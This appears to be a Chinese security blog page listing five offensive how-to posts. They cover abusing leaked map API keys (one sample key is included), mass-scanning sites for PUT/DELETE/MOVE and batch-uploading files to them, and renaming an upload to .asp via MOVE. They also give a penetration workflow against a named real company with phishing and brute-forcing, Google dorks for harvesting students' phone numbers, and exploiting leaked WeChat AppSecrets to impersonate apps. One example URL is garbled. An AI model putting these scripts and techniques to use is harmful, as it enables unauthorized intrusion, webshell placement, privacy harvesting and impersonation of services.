找到
11
篇与
经验总结
相关的结果
-
发掘泄露的地图key与利用 地图key介绍 以高德地图为例。高德地图提供的API Key是开发者调用高德地图各项服务时必须使用的身份验证凭证。功能非常多,这里介绍几个核心功能: 地图展示:通过Key加载高德地图的矢量/卫星地图 地理编码:将地址转换为经纬度 路径规划:提供驾车、步行、骑行等导航路线。 地点搜索:POI检索,如搜索“附近的加油站”。 逆地理编码:将经纬度转换为具体地址 泄露Key引发的问题 费用增加:高德地图API通常有免费配额,但一旦超出免费额度,额外的请求会产生费用。 服务中断:如果发现API Key被泄露并被滥用,服务提供商可能会对相关密钥进行封禁或其他措施,可能导致你的应用服务中断。 滥用和超额使用:如果API Key泄露,其他人可能会滥用你的API Key,导致你的账户超额使用配额。 申请key 两种方式获取key: 网络测绘 (body="webapi.amap.com" || body="api.map.baidu.com" || body="apis.map.qq.com" || body="map.qq.com/api/js?v=") && is_domain=true 手动申请 https://lbs.amap.com/api/webservice/create-project-and-key 创建好账号后,在控制台点击应用管理-创建新应用,来获取key 有免费使用的次数限制 如果超出了次数限制可以进行充值 漏洞发掘 此类漏洞经常出现在公司官网关于公司或者联系我们板块中的地图功能 key主要在前端、请求包体中泄露,响应包泄露非常少见。 漏洞利用 国内主流的地图厂商分别有:高德、百度、腾讯,这里给出对应的请求示例: 高德webapi https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=这里写key 高德jsapi https://restapi.amap.com/v3/geocode/regeo?key=这里写key&s=rsv3&location=116.434446,39.90816&callback=jsonp_258885_&platform=JS 高德小程序定位 https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&appname=c589cf63f592ac13bcab35f8cd18f495&sdkversion=1.2.0&logversion=2.0 百度webapi https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key 百度webapiIOS版 https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key=iPhone7%2C2&mcode=com.didapinche.taxi&os=12.5.6 腾讯webapi https://apis.map.qq.com/ws/place/v1/search?keyword=酒店&boundary=nearby(39.908491,116.374328,1000)&key=这里写key 拿我的key做示例:28aebc9c35a582467c153e012b0bb244,已知是高德的所以直接使用高德的接口来调用一下是否能返回数据 https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=28aebc9c35a582467c153e012b0bb244访问后成功返回数据 获取到的key不知道是哪个平台的就只能每个接口尝试一下了,如果是对应平台的key就可正常返回数据。也有特别的情况:对方做了防御,这个key只能由指定ip使用该服务 如果设置指定ip,获取到key后通过接口请求则会返回错误码 对应的错误码 这是高德的错误码对照表 https://lbs.amap.com/api/webservice/guide/tools/info
-
意想不到的文件上传 新世界大门 你意想不到的文件上传手法。两种手法:通过js查找文件上传接口、通过服务器回显判断能否文件上传。 文件上传接口 在js里找接口是常有的事,如果找到了上传的接口可以尝试使用以下的代码。保存到本地把目标的文件上传接口填进去就可以在本地上传文件了。 代码: <form enctype="multipart/form-data" action="此处填写文件上传接口" method="post"> 请选择要上传的文件:<br> <input type="file" name="Filedata" size="50000"><br> <input type="submit" value="Upload"> </form>探测服务器是否支持文件上传 HTTP求方法方法中OPTIONS可以获取目标支持哪些通信。 批量检测网站是否允许PUT、DELETE、MOVE请求方法 import argparse import aiohttp import asyncio import time from urllib.parse import urlparse async def check_methods(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头 parsed = urlparse(url) if not parsed.scheme: url = 'http://' + url parsed = urlparse(url) # 如果仍然没有协议头,则使用https if not parsed.scheme: url = 'https://' + url async with session.options(url) as response: # 检查Allow或Access-Control-Allow-Methods头部 allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return # 解析允许的方法并检查PUT/DELETE/MOVE allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {url}: {allowed_methods}") except aiohttp.ClientError: # 如果是http失败,尝试https if not url.startswith('https://'): try: https_url = url.replace('http://', 'https://', 1) async with session.options(https_url) as response: allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {https_url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{https_url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {https_url}: {allowed_methods}") except Exception: pass except Exception: pass async def process_urls(url_list, output_file, concurrency=50): # 清空或创建输出文件 with open(output_file, 'w', encoding='utf-8') as f: pass # 配置TCP连接器和超时设置 connector = aiohttp.TCPConnector(force_close=True) timeout = aiohttp.ClientTimeout(total=10) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: tasks = [check_methods(session, url, semaphore, output_file) for url in url_list] await asyncio.gather(*tasks) def read_urls_from_file(file_path): with open(file_path, 'r', encoding='utf-8') as f: return [line.strip() for line in f if line.strip()] def main(): parser = argparse.ArgumentParser(description='检测目标是否允许PUT/DELETE/MOVE等危险方法') parser.add_argument('-u', '--url', help='要检测的单个URL地址') parser.add_argument('-f', '--file', help='包含多个URL的文件路径') parser.add_argument('-o', '--output', default='2.txt', help='存在漏洞的URL输出文件(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=50, help='并发连接数(默认:50)') args = parser.parse_args() if not args.url and not args.file: parser.print_help() return urls = [] if args.url: urls.append(args.url) if args.file: urls.extend(read_urls_from_file(args.file)) print(f"正在检测 {len(urls)} 个URL...\n") start_time = time.time() asyncio.run(process_urls(urls, args.output, args.concurrency)) elapsed = time.time() - start_time print(f"\n检测完成! 总耗时: {elapsed:.2f}秒") print(f"存在漏洞的URL已实时保存到 {args.output}") if __name__ == '__main__': main() 如果支持PUT方法,批量写入 import argparse import aiohttp import asyncio from urllib.parse import urlparse import os async def test_put_upload(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头并规范化URL parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) # 确保路径以/结尾(避免覆盖目录) path = parsed.path if parsed.path.endswith('/') else f"{parsed.path}/" target_url = f"{parsed.scheme}://{parsed.netloc}{path}1.txt" # 尝试PUT上传 put_data = "123456" async with session.put( target_url, data=put_data, headers={'Content-Type': 'text/plain'}, timeout=aiohttp.ClientTimeout(total=10) ) as put_response: # 检查PUT是否成功 (2xx状态码) if put_response.status not in range(200, 300): print(f"[-] 上传失败 {target_url} (HTTP {put_response.status})") # 白色 return # 验证文件是否可访问 async with session.get(target_url, timeout=aiohttp.ClientTimeout(total=10)) as get_response: if get_response.status == 200 and (await get_response.text()).strip() == put_data: print(f"\033[31m[+] 成功 {target_url}\033[0m") # 红色 with open(output_file, 'a') as f: f.write(f"{target_url}\n") else: print(f"[-] 验证失败 {target_url} (HTTP {get_response.status})") # 白色 except Exception as e: print(f"[-] 错误 {url}: {str(e)}") # 白色 async def process_urls(urls, output_file, concurrency=20): # 清空或创建输出文件 with open(output_file, 'w') as f: pass # 配置HTTP客户端 connector = aiohttp.TCPConnector(force_close=True) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector) as session: tasks = [test_put_upload(session, url, semaphore, output_file) for url in urls] await asyncio.gather(*tasks) def main(): parser = argparse.ArgumentParser(description='测试URL是否允许PUT上传', formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-u', '--url', help='检测单个URL') parser.add_argument('-f', '--file', help='批量检测URL文件路径') parser.add_argument('-o', '--output', default='2.txt', help='输出文件路径(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=20, help='并发数(仅在-f模式下有效,默认:20)') args = parser.parse_args() # 参数校验 if not args.url and not args.file: parser.print_help() print("\n错误:必须指定-u或-f参数") return if args.url and args.file: print("错误:-u和-f参数不能同时使用") return # 准备URL列表 urls = [] if args.url: urls.append(args.url) args.concurrency = 1 # 单URL模式强制并发数为1 elif args.file: if not os.path.exists(args.file): print(f"错误:输入文件 {args.file} 不存在") return with open(args.file, 'r') as f: urls = [line.strip() for line in f if line.strip()] print(f"正在测试 {len(urls)} 个URL...") asyncio.run(process_urls(urls, args.output, args.concurrency)) print(f"\n测试完成!成功URL已保存到 {args.output}") if __name__ == '__main__': main() 上传后如果还支持MOVE方法还可以移动文件到指定目录下,并修改文件名。将根目录下的1.txt移动到/示例路径/示例路径/下,并将名字修改为1.asp MOVE /1.txt HTTP/1.1 Host: 地址 Destination: /示例路径/示例路径/1.asp
-
渗透流程总结 渗透流程 在渗透的流程中最主要的就是信息收集、渗透测试、权限提升这几步,其中信息收集是重头戏。知道目标但是不知道他的资产就没办法展开渗透。 以下内容以:假设把北京长亭科技有限公司作为目标怎么展开渗透为主题,来全方面的讲解渗透流程。 信息收集 找主域名 方法1 可以使用搜索引擎搜公司的名字可以找到公司的官网,不过有局限性目标相较于有点实力才会有官网且排名靠前。 方法2 在国内服务器开启80和8080端口时,提供服务的网站必须备案才能够运营,这些备案信息可以在ICP中查询到。我们可以使用ICP来查询目标使用过哪些域名。 方法3 还可以使用爱企查、企查查、天眼查这类的工具来收集企业信息,其中法人姓名、电话、邮箱、网址信息要整理好为后期的社会工程做准备。 有的公司体量会很大有可能会有分公司、控股和投资的情况,那么下面公司的信息也需要进行收集。 找子域名 方法1 在找主域名的方法1中假设找到了主域名,可以通过空间测绘工具:fofa、鹰图、quake来搜索他的子域名。 方法2 在找主域名的方法2中通过ICP找到了他的网站备案号,可以通过空间测绘工具:fofa、鹰图、quake来搜索有哪些网站的页面中含有这些备案号。 扩大资产范围 方法1 当掌握了目标的主域名和子域名后为了扩大资产范围还可以ping收集到的域名,每条域名有可能绑定了不同的服务器。 方法2 众所周知端口号是1-65535,通过ip再测试开放的端口资产无疑会成倍增加。 方法3 较大的公司都会有公众号或者小程序 找企业敏感信息 方法1 可以使用谷歌黑语法找企业员工的工号、姓名、密码、手机号、邮箱、用户手册、开发手册等信息 方法2 公司官网、招聘平台有时候会留有企业邮箱 渗透测试 漏洞扫描 对收集到的资产进行指纹识别、目录爆破等操作。 漏洞利用 对于通用型系统可以找历史漏洞进行尝试攻击。 爆破目标目录找系统后台,有一定的几率可以爆破到未授权访问的界面。有的公司会把项目打包放在网站目录下,或者放在github上。下载下来可以代码审计查找系统的漏洞点,账号密码啥的也能在代码里面找到。 当找到sql注入漏洞时记得把账户和密码记录下来,其他的系统有可能会使用同样的账号和密码。 社会工程 整理前期收集到敏感信息,有针对性的生成字典对信息系统进行爆破。还可以向目标的邮箱发送钓鱼邮件。胆子大点还可以线下连接目标内部网络。 内网渗透 假设你成功getshell,尽可能横向移动。如果有域想办法提权、喷洒等操作。
-
谷歌黑语法总结 黑语法介绍 谷歌黑语法是一种强大的信息收集技术,在渗透测试中常用于信息收集、漏洞挖掘等场景。 搜索语法 语法作用site:限定搜索某个网站inurl:搜索URL含关键词的页面intext:搜索网页正文含关键词intitle:搜索标题含关键词的页面filetype:搜索特定文件类型related:查找相似网站OR逻辑“或”搜索AND逻辑“与”搜索使用案例 查找某大学的学号 site:xx.edu.cn intext:学号查找某大学的手机号文件 site:xx.edu.cn intext:手机号 filetype:PDF查找某系统的后台地址 site:xx.com inurl:admin查找日本存在注入点的站点 site:JP inurl:asp?id=查找title中含有系统且网页正文中含有欢迎字眼的登录页 intitle:系统 AND intext:欢迎 inurl:login|index
-
小程序Appid、AppSecret泄露漏洞总结 漏洞描述 AppSecret是小程序的唯一凭证密钥,也是获取小程序全局唯一后台接口调用凭证的重要参数,需要开发者妥善保管至后台服务器中,并严格保密,不向任何第三方等透露。小程序若存在AppSecret密钥泄露漏洞的情况,会造成身份信息仿冒、敏感数据外泄等严重后果,开发者应及时发现该漏洞并快速修复相应问题。 漏洞环境搭建 如果没有可用的Appid、AppSecret来复现漏洞环境,可以自己注册一个公众号或微信小程序。我有公众号,那么接下来我会用公众号来演示操作。 首先登录公众号,然后依次点击:设置与开发-基本配置-开启、重置(第一次显示的都是开启,我这个是已经开启后效果,如果忘记AppSecret可以重置) 获取到Appid、AppSecret后还需要设置IP白名单。由于是通过开发者ID及密码调用获取access_token接口的,所以需要把访问来源IP添加到白名单,这样才可以正常使用功能(图片中的ip请替换成你的公网ip)。 相关文档手册 微信官方手册公众号 https://developers.weixin.qq.com/doc/offiaccount/Getting_Started/Overview.html公共错误码 https://developers.weixin.qq.com/doc/oplatform/Return_codes/Return_code_descriptions_new.html网页调试工具 https://mp.weixin.qq.com/debug/cgi-bin/apiinfo?t=index&type=%E5%9F%BA%E7%A1%80%E6%94%AF%E6%8C%81&form=%E8%8E%B7%E5%8F%96access_token%E6%8E%A5%E5%8F%A3%20/token漏洞复现 获取Access token 手册说明 https://developers.weixin.qq.com/doc/offiaccount/Basic_Information/Get_access_token.html获取方式 https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET举例子,假如你的Appid是123,AppSecret是456那么获取Access token的链接就为: https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=123&secret=456 调用功能 通过查看微信官方手册公众号就可以知道可以通过接口使用哪些功能 我们用获取用户列表接口举列子 可以直接使用手册中的地址补充获取到的Access token请求即可,我这里使用网页调试工具来测试 由于我的公众号没有认证所以没有获得相关的权限无法通过接口调用功能。 从网上找了成功的案例图片 获取小程序用户评论 获取小程序用户访问数据 冒用小程序身份给用户发送消息